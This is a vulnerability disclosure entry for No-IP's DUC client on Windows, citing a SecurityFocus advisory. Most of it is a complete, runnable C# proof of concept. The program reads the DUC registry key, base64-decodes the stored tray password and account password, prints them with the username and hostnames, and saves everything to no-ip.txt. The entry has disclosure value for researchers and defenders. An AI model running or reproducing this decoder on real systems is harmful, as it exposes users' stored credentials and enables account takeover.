source: https://www.securityfocus.com/bid/29758/info

The DUC application for No-IP is prone to a local information-disclosure vulnerability when it is running on Microsoft Windows.

Successfully exploiting this issue allows attackers to obtain potentially sensitive information that may aid in further attacks. 

/* 
* DUC NO-IP Local Password Information Disclosure
* Author(s): Charalambous Glafkos
*            George Nicolaou
* Date: March 11, 2008
* Site: http://www.astalavista.com
* Mail: glafkos@astalavista.com
*       ishtus@astalavista.com
*
* Synopsis: DUC NO-IP is prone to an information disclosure vulnerability due to a design error.
*           Attackers can exploit this issue to obtain sensitive information including tray password,
*           web username, password and hostnames that may lead to further attacks.
*            
* Note: Vendor has been notified long time ago confirming a design error.
* Vendor site: http://www.no-ip.com
*           
*/

using System;
using System.Text;
using System.IO;
using Microsoft.Win32;

namespace getRegistryValue
{
   class getValue
   {
       static void Main()
       {
           getValue details = new getValue();
           String strDUC = details.getDUC();
           Console.WriteLine("\nDUC NO-IP Password Decoder v1.2");
           Console.WriteLine("Author: Charalambous Glafkos");
           Console.WriteLine("Bugs: glafkos@astalavista.com");
           Console.WriteLine(strDUC);

           FileInfo t = new FileInfo("no-ip.txt");
           StreamWriter Tex = t.CreateText();
           Tex.WriteLine(strDUC);
           Tex.Write(Tex.NewLine);
           Tex.Close();
           Console.WriteLine("\nThe file named no-ip.txt is created\n");
       }

       private string getDUC()
       {
           RegistryKey ducKey = Registry.LocalMachine;
           ducKey = ducKey.OpenSubKey(@"SOFTWARE\Vitalwerks\DUC", false);
           String TrayPassword = DecodeBytes(ducKey.GetValue("TrayPassword").ToString());
           String Username = ducKey.GetValue("Username").ToString();
           String Password = DecodeBytes(ducKey.GetValue("Password").ToString());
           String Hostnames = ducKey.GetValue("Hosts").ToString();
           String strDUC = "\nTrayPassword: " + TrayPassword
               + "\nUsername: " + Username
               + "\nPassword: " + Password
               + "\nHostnames: " + Hostnames;
           return strDUC;
       }

       public static string DecodeBytes(String encryptedData) 
   {
       Byte[] toDecodeByte = Convert.FromBase64String(encryptedData);
       System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
       System.Text.Decoder utf8Decode = encoder.GetDecoder();
       int charCount = utf8Decode.GetCharCount(toDecodeByte, 0, toDecodeByte.Length);
       Char[] decodedChar = new char[charCount];
       utf8Decode.GetChars(toDecodeByte, 0, toDecodeByte.Length, decodedChar, 0);
       String result = new String(decodedChar);
       return (new string(decodedChar));
   }
 }   
}